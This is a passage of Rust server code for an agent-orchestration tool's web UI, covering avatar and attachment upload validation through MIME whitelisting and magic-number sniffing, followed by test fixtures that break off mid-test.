10894    )
10895}
10896
10897async fn magi_icon_get(State(ui): State<Arc<Ui>>) -> Json<serde_json::Value> {
10898    Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)}))
10899}
10900
10901#[derive(Deserialize)]
10902struct MagiIconUpload {
10903    icon: String,
10904}
10905
10906fn save_magi_icon(home: &FsPath, icon: &str) -> Result<()> {
10907    save_icon_file(&magi_icon_path(home), icon)
10908}
10909
10910fn validate_uploaded_icon(icon: &str) -> Result<()> {
10911    if !icon.starts_with("data:") {
10912        anyhow::bail!("upload a raster image");
10913    }
10914    let (mime, bytes) = persona_icon::load(icon)?;
10915    if sniffed_mime(&bytes) != Some(mime) {
10916        anyhow::bail!("image content does not match its type");
10917    }
10918    Ok(())
10919}
10920
10921fn save_icon_file(path: &FsPath, icon: &str) -> Result<()> {
10922    validate_uploaded_icon(icon)?;
10923    atomic_icon_write(path, icon)
10924}
10925
10926fn atomic_icon_write(path: &FsPath, icon: &str) -> Result<()> {
10927    let home = path.parent().expect("icon parent");
10928    std::fs::create_dir_all(home)?;
10929    let token = crate::rng::SplitMix64::new(crate::rng::entropy()).uuid_v4();
10930    let temp = home.join(format!(".magi-icon-{token}.tmp"));
10931    let result = (|| -> Result<()> {
10932        use std::io::Write;
10933        let mut file = std::fs::OpenOptions::new()
10934            .write(true)
10935            .create_new(true)
10936            .open(&temp)?;
10937        file.write_all(icon.as_bytes())?;
10938        file.sync_all()?;
10939        std::fs::rename(&temp, path)?;
10940        Ok(())
10941    })();
10942    let _ = std::fs::remove_file(temp);
10943    result?;
10944    Ok(())
10945}
10946
10947async fn magi_icon_put(
10948    State(ui): State<Arc<Ui>>,
10949    Json(upload): Json<MagiIconUpload>,
10950) -> ApiResult<Json<serde_json::Value>> {
10951    blocking(move || {
10952        if !upload.icon.starts_with("data:") {
10953            return Err(ApiError::bad_request("upload a raster image"));
10954        }
10955        let (mime, bytes) = persona_icon::load(&upload.icon).map_err(ApiError::bad_request_from)?;
10956        if sniffed_mime(&bytes) != Some(mime) {
10957            return Err(ApiError::bad_request(
10958                "image content does not match its type",
10959            ));
10960        }
10961        save_magi_icon(&ui.home, &upload.icon)?;
10962        Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
10963    })
10964    .await
10965}
10966
10967async fn magi_icon_delete(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
10968    blocking(move || {
10969        match std::fs::remove_file(magi_icon_path(&ui.home)) {
10970            Ok(()) => (),
10971            Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
10972            Err(e) => return Err(anyhow::Error::from(e).into()),
10973        }
10974        Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
10975    })
10976    .await
10977}
10978
10979async fn magi_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
10980    let icon = (q.builtin.is_none())
10981        .then(|| read_magi_icon(&ui.home))
10982        .flatten();
10983    let mut response = match icon
10984        .as_deref()
10985        .and_then(|icon| persona_icon::load(icon).ok())
10986    {
10987        Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10988            attachment_response(mime, bytes)
10989        }
10990        _ => svg_avatar(persona_icon::magi_svg()),
10991    };
10992    response
10993        .headers_mut()
10994        .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
10995    response
10996}
10997
10998/// `GET /api/talks/{id}/avatar?persona=<id>` - a persona's avatar: the
10999/// operator's raster `icon` when it resolves and its bytes agree with its
11000/// type, the built-in SVG otherwise. Display only; every failure is a warning
11001/// and the built-in avatar, never an error response.
11002async fn talk_avatar(
11003    State(ui): State<Arc<Ui>>,
11004    Path(id): Path<String>,
11005    Query(q): Query<AvatarQuery>,
11006) -> ApiResult<Response> {
11007    blocking(move || {
11008        let id = resolve_talk(&ui.talks, &id)?;
11009        let talk = ui.talks.get(&id)?;
11010        let wanted = q
11011            .persona
11012            .as_deref()
11013            .map(str::trim)
11014            .filter(|p| !p.is_empty())
11015            .unwrap_or(&talk.persona)
11016            .to_owned();
11017        let specs = match Config::discover(&talk.repo, None) {
11018            Ok((cfg, _)) => cfg.talk.personas,
11019            Err(e) => {
11020                tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
11021                Vec::new()
11022            }
11023        };
11024        let found = persona::find(&specs, &wanted);
11025        // Stored blank IDs are the plain voice, whose canonical ID is `default`.
11026        let wanted = found.as_ref().map_or(wanted, |p| p.id.clone());
11027        let icon = effective_persona_icon(
11028            &ui.home,
11029            &wanted,
11030            found.as_ref().and_then(|p| p.icon.as_deref()),
11031        );
11032        if found.is_none() && icon.is_none() {
11033            return Ok(builtin_avatar(persona::DEFAULT_ID));
11034        }
11035        let Some(icon) = icon
11036            .as_deref()
11037            .filter(|icon| !icon.is_empty() && q.builtin.is_none())
11038        else {
11039            return Ok(builtin_avatar(&wanted));
11040        };
11041        let Some(found) = found else {
11042            return Ok(raster_or_builtin(
11043                Some(icon),
11044                persona_icon::builtin_svg(&wanted),
11045            ));
11046        };
11047        match persona_icon::load(icon) {
11048            Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
11049                let mut res = attachment_response(mime, bytes);
11050                res.headers_mut().insert(
11051                    header::CACHE_CONTROL,
11052                    header::HeaderValue::from_static("no-cache"),
11053                );
11054                Ok(res)
11055            }
11056            Ok((mime, _)) => {
11057                tracing::warn!(
11058                    "avatar: icon of persona `{}` is not really {mime}; using the built-in",
11059                    found.id
11060                );
11061                Ok(builtin_avatar(&found.id))
11062            }
11063            Err(e) => {
11064                tracing::warn!(
11065                    "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
11066                    found.id
11067                );
11068                Ok(builtin_avatar(&found.id))
11069            }
11070        }
11071    })
11072    .await
11073}
11074
11075/// Validate an attachment upload's declared `Content-Type` and the bytes
11076/// themselves, returning the canonical mime on success.
11077///
11078/// Two checks, both required: the header has to name one of
11079/// [`ATTACHMENT_MIME_WHITELIST`] (which is what keeps SVG out - it is
11080/// simply never in the list, active content rather than a picture, the same
11081/// exclusion [`asset_content_type`]'s doc explains), and the file's own
11082/// magic number has to agree. The second is what stops a mislabeled upload -
11083/// an HTML file sent as `Content-Type: image/png` - from ever reaching disk;
11084/// a declared type is a claim, not a fact, so it is never trusted alone.
11085fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
11086    if data.len() > ATTACHMENT_MAX_BYTES {
11087        return Err(ApiError::bad_request(format!(
11088            "attachment is {} bytes, over the {} MiB limit",
11089            data.len(),
11090            ATTACHMENT_MAX_BYTES / (1024 * 1024)
11091        ))
11092        .with_status(StatusCode::PAYLOAD_TOO_LARGE));
11093    }
11094    if data.is_empty() {
11095        return Err(ApiError::bad_request("attachment is empty"));
11096    }
11097    let declared = declared_mime(headers)?;
11098    match sniffed_mime(data) {
11099        Some(sniffed) if sniffed == declared => Ok(declared),
11100        Some(sniffed) => Err(ApiError::bad_request(format!(
11101            "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
11102        ))),
11103        None => Err(ApiError::bad_request(
11104            "the file's bytes do not match any accepted image format",
11105        )),
11106    }
11107}
11108
11109/// The declared `Content-Type`, checked against [`ATTACHMENT_MIME_WHITELIST`]
11110/// and nothing else - parameters like `; charset=` are stripped, but the
11111/// value itself is not otherwise interpreted.
11112fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
11113    let raw = headers
11114        .get(header::CONTENT_TYPE)
11115        .and_then(|v| v.to_str().ok())
11116        .unwrap_or("")
11117        .split(';')
11118        .next()
11119        .unwrap_or("")
11120        .trim()
11121        .to_ascii_lowercase();
11122    ATTACHMENT_MIME_WHITELIST
11123        .iter()
11124        .find(|&&m| m == raw)
11125        .copied()
11126        .ok_or_else(|| {
11127            if raw == "image/svg+xml" {
11128                ApiError::bad_request(
11129                    "SVG is not accepted: it can carry active content (e.g. a <script>), \
11130                     not just a picture",
11131                )
11132            } else if raw.is_empty() {
11133                ApiError::bad_request("Content-Type is required for an attachment upload")
11134            } else {
11135                ApiError::bad_request(format!(
11136                    "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
11137                     image/gif or image/webp"
11138                ))
11139            }
11140        })
11141}
11142
11143/// Identify an image by its magic number, independent of whatever
11144/// `Content-Type` claimed.
11145fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
11146    if data.starts_with(b"\x89PNG\r\n\x1a\n") {
11147        Some("image/png")
11148    } else if data.starts_with(b"\xff\xd8\xff") {
11149        Some("image/jpeg")
11150    } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
11151        Some("image/gif")
11152    } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
11153        Some("image/webp")
11154    } else {
11155        None
11156    }
11157}
11158
11159/// The operator's own filename, from [`FILENAME_HEADER`], kept only for
11160/// display - see [`talk::Attachment::name`]'s doc on why it never
11161/// contributes to a path. A missing or blank header (curl without it, an
11162/// older front end) falls back to a generic name rather than refusing the
11163/// upload over a field that is cosmetic.
11164fn filename_header(headers: &HeaderMap) -> String {
11165    headers
11166        .get(FILENAME_HEADER)
11167        .and_then(|v| v.to_str().ok())
11168        .map(str::trim)
11169        .filter(|s| !s.is_empty())
11170        .unwrap_or("attachment")
11171        .to_owned()
11172}
11173
11174/// Every attachment `GET` response: the mime re-validated against the same
11175/// closed whitelist the upload route enforces - never the string trusted
11176/// verbatim off disk - plus `X-Content-Type-Options: nosniff`, so a browser
11177/// cannot decide it knows better than the type we send. Unlike a panel asset
11178/// there is no [`PANEL_CSP`] here: this is a plain image the phone's own
11179/// document renders inline, not agent-authored HTML in a sandboxed frame.
11180fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
11181    let content_type = ATTACHMENT_MIME_WHITELIST
11182        .iter()
11183        .find(|&&m| m == mime)
11184        .copied()
11185        .unwrap_or("application/octet-stream");
11186    (
11187        [
11188            (header::CONTENT_TYPE, content_type),
11189            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
11190        ],
11191        body,
11192    )
11193        .into_response()
11194}
11195
11196/// The configuration for a repository, read off the disk for this request.
11197///
11198/// Through [`blocking`] because discovery reads and merges several TOML files,
11199/// and because the alternative - caching it in [`Ui`] at startup - would mean
11200/// the operator's phone kept interviewing with a roster they had already
11201/// changed, with no way to reload it but restarting the server they are not
11202/// sitting in front of.
11203async fn config_for(repo: &FsPath) -> ApiResult<Config> {
11204    let repo = repo.to_path_buf();
11205    blocking(move || {
11206        let (cfg, _) = Config::discover(&repo, None)?;
11207        Ok(cfg)
11208    })
11209    .await
11210}
11211
11212/// The one prefix rule, used for both runs and tasks: a leading match for a
11213/// full id, a trailing match for the short form an operator reads off a
11214/// report. Written here rather than borrowed from `queue::resolve_id` because
11215/// the UI needs the two failures as different status codes, and telling them
11216/// apart from an error message is not something to build a route on.
11217fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
11218    let mut hits = ids
11219        .into_iter()
11220        .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
11221    match (hits.next(), hits.next()) {
11222        (Some(one), None) => Ok(one),
11223        (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
11224        (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
11225            "`{prefix}` matches more than one {what}, including {a} and {b}"
11226        ))),
11227    }
11228}
11229
11230#[cfg(test)]
11231mod tests {
11232
11233    #[test]
11234    fn deputy_exhausted_requires_an_open_question_without_a_live_holder() {
11235        let dir = tempfile::tempdir().unwrap();
11236        let store = ask::Questions::at(dir.path().join("questions"));
11237        let mut q = Question::new(
11238            "task".to_owned(),
11239            "conduct".to_owned(),
11240            "conduct".to_owned(),
11241            "choose".to_owned(),
11242            String::new(),
11243            vec!["keep".to_owned()],
11244        );
11245        q.deputy = Some(ask::Deputy::new("brief".to_owned()));
11246        q.say("why?").unwrap();
11247        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS - 1;
11248        assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
11249        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
11250        store.put(&mut q).unwrap();
11251        assert!(QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
11252        assert_eq!(store.count_needs_owner(), 1);
11253        store.beat(&q.id, ask::WaiterKind::Deputy);
11254        assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
11255        assert_eq!(store.count_needs_owner(), 0);
11256        let mut stale = store.read_lease(&q.id).unwrap();
11257        stale.beat_at = jiff::Timestamp::now() - std::time::Duration::from_secs(3600);
11258        std::fs::write(store.lease_path(&q.id), serde_json::to_vec(&stale).unwrap()).unwrap();
11259        let view = QuestionView::of(q.clone(), &store, Some(&Config::default()));
11260        assert!(view.deputy_exhausted);
11261        assert!(view.waiting_on_agent);
11262        assert_eq!(view.question.choices, ["keep"]);
11263        store.drop_lease(&q.id);
11264        q.answer(ask::Answer::Choice("keep".to_owned())).unwrap();
11265        assert!(!QuestionView::of(q, &store, Some(&Config::default())).deputy_exhausted);
11266    }
11267
11268    #[test]
11269    fn holder_reads_the_lease_not_the_record() {
11270        let mut q = Question::new(
11271            "run".to_owned(),
11272            "implement".to_owned(),
11273            "impl-A".to_owned(),
11274            "which?".to_owned(),
11275            String::new(),
11276            Vec::new(),
11277        );
11278        assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
11279        q.cwd = Some("/tmp".to_owned());
11280        assert_eq!(holder_of(&q, None), Some("nobody"));
11281        let beat = |kind, ago: i64| ask::Lease {
11282            kind,
11283            pid: 1,
11284            beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
11285                .unwrap(),
11286        };
11287        let fresh = beat(ask::WaiterKind::Asker, 1);
11288        assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
11289        let daemon = beat(ask::WaiterKind::Daemon, 1);
11290        assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
11291        let stale = beat(ask::WaiterKind::Asker, 3600);
11292        assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
11293
11294        // A conductor question says "deputy" only while one is attached and
11295        // alive, and "nobody" - never silence - when nothing ever listened.
11296        let mut c = Question::new(
11297            "task".to_owned(),
11298            crate::conduct::NODE.to_owned(),
11299            "conduct".to_owned(),
11300            "which?".to_owned(),
11301            String::new(),
11302            Vec::new(),
11303        );
11304        assert_eq!(holder_of(&c, None), Some("nobody"));
11305        c.cwd = Some("/tmp".to_owned());
11306        c.deputy = Some(ask::Deputy::new("brief".to_owned()));
11307        assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
11308        let deputy = beat(ask::WaiterKind::Deputy, 1);
11309        assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
11310        assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
11311
11312        // A release-watch question: nobody until a deputy is attached.
11313        let mut r = Question::new(
11314            String::new(),
11315            crate::bump::NOTICE_NODE.to_owned(),
11316            "release-watch".to_owned(),
11317            "stuck?".to_owned(),
11318            String::new(),
11319            vec!["hold".to_owned()],
11320        );
11321        assert_eq!(holder_of(&r, None), Some("nobody"));
11322        r.deputy = Some(ask::Deputy::new("brief".to_owned()));
11323        assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
11324        // A choice-less bump notice is nobody's question at all.
11325        r.deputy = None;
11326        r.seat = "bump".to_owned();
11327        assert_eq!(holder_of(&r, None), None);
11328
11329        // A merge approval is the same: nobody until a deputy is attached
11330        // and alive, never a silent "no holder".
11331        let mut m = Question::new(
11332            "run".to_owned(),
11333            crate::land::APPROVAL_NODE.to_owned(),
11334            "land".to_owned(),
11335            "merge?".to_owned(),
11336            String::new(),
11337            Vec::new(),
11338        );
11339        assert_eq!(holder_of(&m, None), Some("nobody"));
11340        assert_eq!(
11341            holder_of(&m, Some(&fresh)),
11342            Some("asker"),
11343            "a live explicit wait is a listener even before a deputy is attached"
11344        );
11345        m.deputy = Some(ask::Deputy::new("brief".to_owned()));
11346        assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
11347        assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
11348        assert_eq!(holder_of(&m, None), Some("nobody"));
11349    }
11350
11351    fn stub_config() -> Config {
11352        // An explicit roster, so the result never depends on which agent CLIs
11353        // this machine has installed.
11354        Config {
11355            agents: vec![crate::config::AgentSpec {
11356                id: "stub".to_owned(),
11357                kind: AgentKind::Command,
11358                model: None,
11359                command: vec!["true".to_owned()],
11360                extra_args: Vec::new(),
11361                env: Default::default(),
11362                prompt_delivery: None,
11363                max_turn_secs: None,
11364            }],
11365            ..Config::default()
11366        }
11367    }
11368
11369    fn plain_question(seat: &str) -> Question {
11370        Question::new(
11371            String::new(),
11372            "n".to_owned(),
11373            seat.to_owned(),
11374            "s".to_owned(),
11375            String::new(),
11376            Vec::new(),
11377        )
11378    }
11379
11380    #[test]
11381    fn deputies_enabled_follows_the_config() {
11382        let on = stub_config();
11383        assert!(crate::deputy::can_start(Some(&on), ""));
11384        assert!(crate::deputy::can_start(Some(&on), "stub"));
11385        let mut off = on.clone();
11386        off.daemon.max_deputies = 0;
11387        assert!(!crate::deputy::can_start(Some(&off), ""));
11388        let mut empty = on;
11389        empty.agents.clear();
11390        assert!(!crate::deputy::can_start(Some(&empty), ""));
11391        assert!(!crate::deputy::can_start(None, ""));
11392    }
11393
11394    #[test]
11395    fn question_views_load_the_config_once() {
11396        let dir = TempDir::new().unwrap();
11397        let store = ask::Questions::at(dir.path().to_path_buf());
11398        let mut with_deputy = plain_question("b");
11399        with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
11400        let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
11401
11402        let calls = std::cell::Cell::new(0usize);
11403        let views = question_views(qs.clone(), &store, || {
11404            calls.set(calls.get() + 1);
11405            Some(stub_config())
11406        });
11407        assert_eq!(calls.get(), 1);
11408        assert_eq!(views.len(), 3);
11409        for (v, q) in views.iter().zip(&qs) {
11410            assert_eq!(
11411                v.deputies_enabled,
11412                crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
11413            );
11414        }
11415
11416        let views = question_views(qs, &store, || None);
11417        assert!(views.iter().all(|v| !v.deputies_enabled));
11418
11419        let calls = std::cell::Cell::new(0usize);
11420        let views = question_views(Vec::new(), &store, || {
11421            calls.set(calls.get() + 1);
11422            None
11423        });
11424        assert!(views.is_empty());
11425        assert_eq!(calls.get(), 0);
11426    }
11427
11428    use pretty_assertions::assert_eq;
11429    use serde_json::Value;
11430    use tempfile::TempDir;
11431    use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
11432
11433    use super::*;
11434    use crate::config::Config;
11435    use crate::queue::Source;
11436
11437    /// How many 10ms steps a settle loop takes before it calls a stall a
11438    /// stall - thirty seconds.
11439    ///
11440    /// These loops wait on real `sh` subprocesses, and the machine that runs
11441    /// the gate runs several suites at once, so a two-second budget was not
11442    /// waiting for the reply, it was racing the scheduler: two of these
11443    /// tests failed under that load with the turn simply not landed yet.
11444    /// This is a hang guard, not a latency assertion - every loop breaks the
11445    /// moment its condition holds, so a generous cap costs an idle machine
11446    /// nothing and still fails a genuine hang instead of hanging the suite.
11447    const SETTLE_STEPS: usize = 3_000;
11448
11449    /// A home with a queue and a runs directory, and a router serving it on
11450    /// loopback. `tower`'s `oneshot` is not reachable - `tower` is axum's
11451    /// dependency, not ours - so the tests drive a real socket, which has the
11452    /// side benefit of asserting the status line and content types the phone
11453    /// actually receives.
11454    struct Fixture {
11455        home: TempDir,
11456        addr: SocketAddr,
11457    }
11458
11459    impl Fixture {
11460        async fn start() -> Self {
11461            Self::with_loop(launch_idle).await
11462        }
11463
11464        /// A fixture whose loop is `launch`.
11465        async fn with_loop(launch: Launch) -> Self {
11466            let home = TempDir::new().expect("temp home");
11467            let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
11468            Self { home, addr }
11469        }
11470
11471        /// A fixture whose `ui.repo` is a real directory rather than the
11472        /// usual placeholder - for the routes that read config off it
11473        /// (`GET /api/repos`) and would otherwise have nothing to discover.
11474        async fn with_repo(repo: PathBuf) -> Self {
11475            let home = TempDir::new().expect("temp home");
11476            let addr = Self::serve(home.path(), repo, launch_idle, None).await;
11477            Self { home, addr }
11478        }
11479
11480        /// As [`Fixture::with_repo`], with the machine-config file the
11481        /// settings screen reads and writes.
11482        async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
11483            let home = TempDir::new().expect("temp home");
11484            let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
11485            Self { home, addr }
11486        }
11487
11488        async fn serve(
11489            home: &FsPath,
11490            repo: PathBuf,
11491            launch: Launch,
11492            machine: Option<PathBuf>,
11493        ) -> SocketAddr {
11494            let queue = Queue::at(home.join("queue"));
11495            let runs = home.join("runs");
11496            std::fs::create_dir_all(&runs).expect("runs dir");
11497            let worktrees = home.join("wt").join("magi");
11498            std::fs::create_dir_all(&worktrees).expect("worktrees dir");
11499            let ui = Ui::new(
11500                queue,
11501                Questions::at(home.join("questions")),
11502                Talks::at(home.join("talks")),
11503                runs,
11504                home.to_path_buf(),
11505                repo,
11506            )
11507            .with_worktrees_root(worktrees)
11508            .with_machine_config(machine)
11509            .with_launch(launch);
11510            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
11511                .await
11512                .expect("bind loopback");
11513            let addr = listener.local_addr().expect("local addr");
11514            tokio::spawn(async move {
11515                let router = ui
11516                    .router()
11517                    .layer(axum::middleware::from_fn(request_cost::observe));
11518                let _ = axum::serve(listener, router).await;
11519            });
11520            addr
11521        }
11522
11523        fn queue(&self) -> Queue {
11524            Queue::at(self.home.path().join("queue"))
11525        }
11526
11527        fn questions(&self) -> Questions {
11528            Questions::at(self.home.path().join("questions"))
11529        }
11530
11531        fn talks(&self) -> Talks {
11532            Talks::at(self.home.path().join("talks"))
11533        }
11534
11535        fn runs(&self) -> PathBuf {
11536            self.home.path().join("runs")
11537        }
11538
11539        async fn get(&self, path: &str) -> Res {
11540            request(self.addr, "GET", path, None).await
11541        }
11542
11543        /// The status and headers without the body, which is how the front end
11544        /// preflights a panel: a sandboxed frame is opaque to the parent
11545        /// document, so the only way to tell "no panel" from "a panel that
11546        /// rendered blank" is to ask before mounting.
11547        async fn head(&self, path: &str) -> Res {
11548            request(self.addr, "HEAD", path, None).await
11549        }
11550
11551        async fn post(&self, path: &str, body: Option<&str>) -> Res {
11552            request(self.addr, "POST", path, body).await
11553        }
11554
11555        async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
11556            request_with(self.addr, "GET", path, None, extra).await
11557        }
11558
11559        async fn delete(&self, path: &str) -> Res {
11560            request(self.addr, "DELETE", path, None).await
11561        }
11562
11563        async fn put(&self, path: &str, body: &str) -> Res {
11564            request(self.addr, "PUT", path, Some(body)).await
11565        }
11566
11567        /// `POST` a raw body with its own headers - see [`request_bytes`].
11568        async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
11569            request_bytes(self.addr, path, headers, body).await
11570        }
11571    }
11572
11573    /// Real tracking refs exercise the successful discovery path (including
11574    /// extraction), rather than counting cheap failures on a placeholder repo.
11575    async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
11576        let tmp = TempDir::new().unwrap();
11577        let mut repos = Vec::new();
11578        for name in ["one", "two"] {
11579            let repo = tmp.path().join(name);
11580            let origin = tmp.path().join(format!("{name}.git"));
11581            std::fs::create_dir_all(&repo).unwrap();
11582            crate::git::git(&repo, &["init", "-b", "main"])
11583                .await
11584                .unwrap();
11585            std::fs::write(
11586                repo.join("magi.toml"),
11587                format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
11588            )
11589            .unwrap();
11590            crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
11591            crate::git::git(
11592                &repo,
11593                &[
11594                    "-c",
11595                    "user.name=fixture",
11596                    "-c",
11597                    "user.email=fixture@example.invalid",
11598                    "commit",
11599                    "-m",
11600                    "fixture",
11601                ],
11602            )
11603            .await
11604            .unwrap();
11605            crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
11606                .await
11607                .unwrap();
11608            crate::git::git(
11609                &repo,
11610                &["remote", "add", "origin", origin.to_str().unwrap()],
11611            )
11612            .await
11613            .unwrap();
11614            crate::git::git(&repo, &["push", "origin", "main"])
11615                .await
11616                .unwrap();
11617            crate::git::git(
11618                &repo,
11619                &[
11620                    "symbolic-ref",
11621                    "refs/remotes/origin/HEAD",
11622                    "refs/remotes/origin/main",
11623                ],
11624            )
11625            .await
11626            .unwrap();
11627            let (cfg, _) = Config::discover(&repo, None).unwrap();
11628            assert!(cfg.agents.iter().any(|a| a.id == "mock"));
11629            repos.push(repo);
11630        }
11631        let repos: [PathBuf; 2] = repos.try_into().unwrap();
11632        (tmp, repos)
11633    }
11634
11635    async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
11636        let (tmp, repos) = performance_repositories().await;
11637        let machine = tmp.path().join("machine.toml");
11638        std::fs::write(&machine, "").unwrap();
11639        let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
11640        (tmp, repos, fx)
11641    }
11642
11643    fn seed_performance(
11644        fx: &Fixture,
11645        repos: &[PathBuf; 2],
11646        questions: usize,
11647        runs: usize,
11648        items: usize,
11649    ) {
11650        // Saving states directly never starts a run or changes MAGI_HOME.
11651        for i in fx.questions().list().len()..questions {
11652            let mut question = Question::new(
11653                "20261001-000000-0000".into(),
11654                "implement".into(),
11655                "impl-A".into(),
11656                format!("question {i}"),
11657                "context".into(),
11658                vec!["yes".into(), "no".into()],
11659            );
11660            question.id = format!("20261003-000000-{i:04x}");
11661            fx.questions().put(&mut question).unwrap();
11662        }
11663        for i in run_ids(&fx.runs()).len()..runs {
11664            write_run_repo(
11665                &fx.runs(),
11666                &format!("20261001-000000-{i:04x}"),
11667                RunStatus::Ready,
11668                repos[i % 2].to_str().unwrap(),
11669            );
11670        }
11671        for i in fx.talks().list().len()..items {
11672            let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
11673            let mut talk = fx.talks().get(&id).unwrap();
11674            talk.repo = repos[i % 2].clone();
11675            fx.talks().put(&mut talk).unwrap();
11676            let mut task = crate::queue::Task::new(
11677                format!("task {i}"),
11678                "instruction".into(),
11679                repos[i % 2].clone(),
11680                crate::queue::Source::Agent {
11681                    run: id,
11682                    node: crate::queue::CHAT_NODE.into(),
11683                },
11684            );
11685            task.id = format!("20261004-000000-{i:04x}");
11686            fx.queue().put(&mut task).unwrap();
11687            // Notices has a production retention cap; seed up to that cap.
11688            if i < crate::notices::CAP {
11689                Notices::at(fx.home.path().join("notifications"))
11690                    .raise(Notice::info(&format!("notice-{i}"), "notification"))
11691                    .unwrap();
11692            }
11693        }
11694        assert_eq!(fx.questions().list().len(), questions);
11695        assert_eq!(run_ids(&fx.runs()).len(), runs);
11696        assert_eq!(fx.talks().list().len(), items);
11697        assert_eq!(fx.queue().list().len(), items);
11698        assert_eq!(
11699            Notices::at(fx.home.path().join("notifications"))
11700                .list()
11701                .len(),
11702            items.min(crate::notices::CAP)
11703        );
11704    }
11705
11706    #[tokio::test]
11707    async fn source_eviction_web_diffs_survive_repository_removal_and_reject_corruption() {
11708        let home = TempDir::new().unwrap();
11709        let root = home.path().canonicalize().unwrap();
11710        let addr = Fixture::serve(&root, root.join("repo"), launch_idle, None).await;
11711        let fx = Fixture { home, addr };
11712        let repo = root.as_path().join("archive-repo");
11713        std::fs::create_dir(&repo).unwrap();
11714        crate::git::git(&repo, &["init", "-b", "main"])
11715            .await
11716            .unwrap();
11717        crate::git::git(&repo, &["config", "user.name", "Fixture"])
11718            .await
11719            .unwrap();
11720        crate::git::git(&repo, &["config", "user.email", "fixture@example.invalid"])
11721            .await
11722            .unwrap();
11723        crate::git::git(&repo, &["config", "commit.gpgsign", "false"])
11724            .await
11725            .unwrap();
11726        std::fs::write(repo.join("source"), "base").unwrap();
11727        crate::git::git(&repo, &["add", "."]).await.unwrap();
11728        crate::git::git(&repo, &["commit", "-m", "base"])
11729            .await
11730            .unwrap();
11731        let base = crate::git::rev_parse(&repo, "HEAD").await.unwrap();
11732        std::fs::write(repo.join("source"), "archived review").unwrap();
11733        crate::git::git(&repo, &["commit", "-am", "review"])
11734            .await
11735            .unwrap();
11736        let head = crate::git::rev_parse(&repo, "HEAD").await.unwrap();
11737        let mut config = Config::default();
11738        config.graph.worktree_root = Some(root.as_path().join("copies"));
11739        let mut state = RunState::new(
11740            repo.clone(),
11741            "main".into(),
11742            base.clone(),
11743            "archive".into(),
11744            config,
11745        );
11746        state.id = "20260101-000000-ef05".into();
11747        state.status = RunStatus::Ready;
11748        state.save_under(root.as_path()).unwrap();
11749        let evidence =
11750            crate::fold_evidence::snapshot(&state, root.as_path(), &head, 64 * 1024 * 1024)
11751                .await
11752                .unwrap();
11753        let base_evidence =
11754            crate::fold_evidence::snapshot(&state, root.as_path(), &base, 64 * 1024 * 1024)
11755                .await
11756                .unwrap();
11757        let source = state.worktree_root().join("review-1");
11758        let mut contents = std::collections::BTreeMap::new();
11759        contents.insert(
11760            repo.join("logs/HEAD"),
11761            format!("{base} {head} fixture\n").into_bytes(),
11762        );
11763        let record = serde_json::json!({
11764            "version":1, "run":state.id, "source":source, "head":head,
11765            "evidence":evidence, "admin":{}, "admin_contents":contents,
11766            "history":{base:base_evidence, head.clone():evidence}, "phase":"evicted"
11767        });
11768        std::fs::write(
